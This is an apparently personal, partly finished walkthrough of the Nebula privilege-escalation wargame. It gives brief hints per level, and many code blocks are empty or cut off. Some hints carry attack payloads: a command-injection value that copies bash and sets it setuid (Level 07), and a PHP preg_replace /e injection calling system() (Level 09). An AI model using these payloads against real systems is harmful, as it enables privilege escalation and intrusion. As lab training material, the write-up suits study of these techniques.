Exploit-Exercises: Nebula (v5) Walkthrough
reference | Exploit-Exercises: Nebula (v5), Exploit Education > Nebula |
target ip | 192.168.1.32 |
Level 00
suid:

Level 01
Hijack echo
:

Level 02
Environment variable USER
:

Level 03
Add a script /home/flag03/writable.d/test.sh
:

Wait for cron:

You cannot use /tmp
, because of nosuid
:

Level 04
Try to rename the original file:

Level 05
/home/flag05/.backup/backup-19072011.tgz
:

Login as user flag05:

Level 06
/etc/passwd
:

Level 07
Code injection:
1 | 127.0.0.1;cp /bin/bash /home/flag07/bash;chmod u+s /home/flag07/bash;echo 1 |

Level 08
/home/flag08/capture.pcap
:

0x7f.
Level 09
1 | $contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents); |
1 | $contents = preg_replace("/(\[email (.*)\])/e", "spam(\"${${system($use_me)}}\")", $contents); |

Level 10
Make the program access()
the file which is owned by user level10, but open()
the file which is owned by user flag10:
1 | while [[ 1 -eq 1 ]]; do |

Level 11
TBD
Level 12
TBD
Level 13
LD_PRELOAD
to replace the original getuid
.
But LD_PRELOAD
cannot be used with suid program.

Level 14
1 | import sys |

Level 15
TBD
Level 16
Minimal vulnerable code:

/tmp/FLAG16.SH
:
1 |
|

Level 17
pickle
1 | import cPickle |

Level 18
TBD
Level 19
TBD
I’ll try to complete this post when I’m not so busy..